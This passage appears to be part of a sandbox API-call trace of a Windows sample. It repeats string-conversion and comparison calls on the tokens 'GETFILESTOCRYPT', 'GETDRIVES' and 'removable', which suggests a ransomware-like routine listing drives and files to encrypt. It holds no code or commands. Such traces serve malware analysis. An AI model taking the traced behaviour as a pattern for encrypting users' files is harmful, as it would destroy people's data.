lpsz="GETFILESTOCRYPT") returned 0xf [0081.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.781] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.782] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.782] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.782] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.782] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.782] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.782] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.783] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.786] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.786] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.787] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.787] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.787] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.787] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.787] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.787] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.787] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.788] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.788] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.788] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.788] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.788] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.788] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.788] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.789] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.789] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.789] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.789] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.789] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.789] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.790] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.790] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.802] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.802] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.802] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.802] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.802] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.802] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.803] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.803] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.803] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.805] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.805] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.806] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.806] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.806] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.806] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.807] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.807] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.807] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.807] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.807] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.807] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.808] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.808] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.808] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.808] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.808] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.811] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.811] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.811] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.817] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.817] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.818] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.818] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.818] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.818] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.818] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.818] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.818] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.819] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.819] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.819] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.819] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.819] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.819] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.819] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.820] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.820] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.820] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.820] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.820] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.820] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.820] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.821] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.821] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.821] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.821] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.833] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.833] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.833] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.833] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.833] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.833] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.833] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.834] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.834] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.834] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.834] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.834] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.834] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.834] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.835] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.835] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.835] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.835] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.835] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.835] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.836] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.836] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.836] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.836] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.836] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.836] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.836] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.848] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.848] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.849] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.849] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.849] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.849] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.849] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.849] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.849] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.849] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.850] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0081.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.850] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0081.850] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0081.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0081.850] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: 